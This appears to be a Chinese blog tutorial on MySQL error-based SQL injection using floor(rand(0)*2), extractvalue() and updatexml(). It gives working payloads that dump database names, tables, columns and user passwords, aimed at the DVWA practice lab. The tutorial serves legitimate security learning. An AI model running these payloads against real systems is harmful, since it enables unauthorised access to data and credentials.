• 渗透学习之SQL报错注入


    一、floor函数
    floor(rand(0)*2) 函数
    Floor(rand(0)*2),其中 rand(0)*2 是伪随机函数,floor 将结果取整,得到伪随机序列 0,1,1

     

    我们可以通过 concat()函数将注入语句与 floor()函数连接起来,这样注入结果就会和报错信息共同显示出来。
    备注:尝试利用 group_concat()函数串联结果,会出现错误,只能通过 concat 串联。
    执行:
    mysql> select count(*),concat( floor(rand(0)*2), 0x3a, version(),0x3a,database()) x from test group by x;
    基于报错常用注入语句
    判断报错注入点
    select count(*),floor(rand(0)*2) x from information_schema.schemata group by x --
    爆数据库
    MariaDB [floor]> select count(*),concat(floor(rand(0)*2),database()) x from information_schema. schematagroup by x;
    爆表名
    MariaDB [floor]> select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from
    information_schema. schemata group by x;
    爆字段
    MariaDB [floor]> select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema. schemata group by x;
    爆内容
    MariaDB [floor]> select count(*),concat(floor(rand(0)*2),(select concat(user,password) from dvwa.users limit 0,1)) x from information_schema. schemata group by x; 
    二、extractvalue()函数
    - 输入了符合xpath_string格式的字符串,导致的报错
    - extractvaule(XML_document, XPath_string)
    - 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    - 第二个参数:XPath_string (Xpath格式的字符串)
    - 输入了符合xpath_string格式的字符串,导致的报错
    - 作用:从目标XML中返回包含所查询值的字符串
    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
    三、updatexml()函数
    - updatexml(XML_document, XPath_string, new_value)
    - 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    - 第二个参数:XPath_string (Xpath格式的字符串) ,
    - 第三个参数:new_value,String格式,替换查找到的符合条件的数据
    - 作用:改变文档中符合条件的节点的值
    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
     
  • 相关阅读:
    js 99乘法表
    微信小程序 富文本插件 循环渲染方式
    Mysql: mysqlbinlog命令查看日志文件
    Java Mail 发送邮件(SSL加密方式,TSL加密方式)
    进程和线程的区别
    Java 制作证书(Windows 和Linux)
    Linux 常用命令标记
    Java clone克隆方法 --深拷贝--浅拷贝 --原型模型
    tomcat内存溢出:PermGen space解决方法
    Java 多线程 ---- 线程中this与 Thread.currentThread()线程的区别
  • 原文地址:https://www.cnblogs.com/heiwa-0924/p/12827297.html
Copyright © 2020-2023  润新知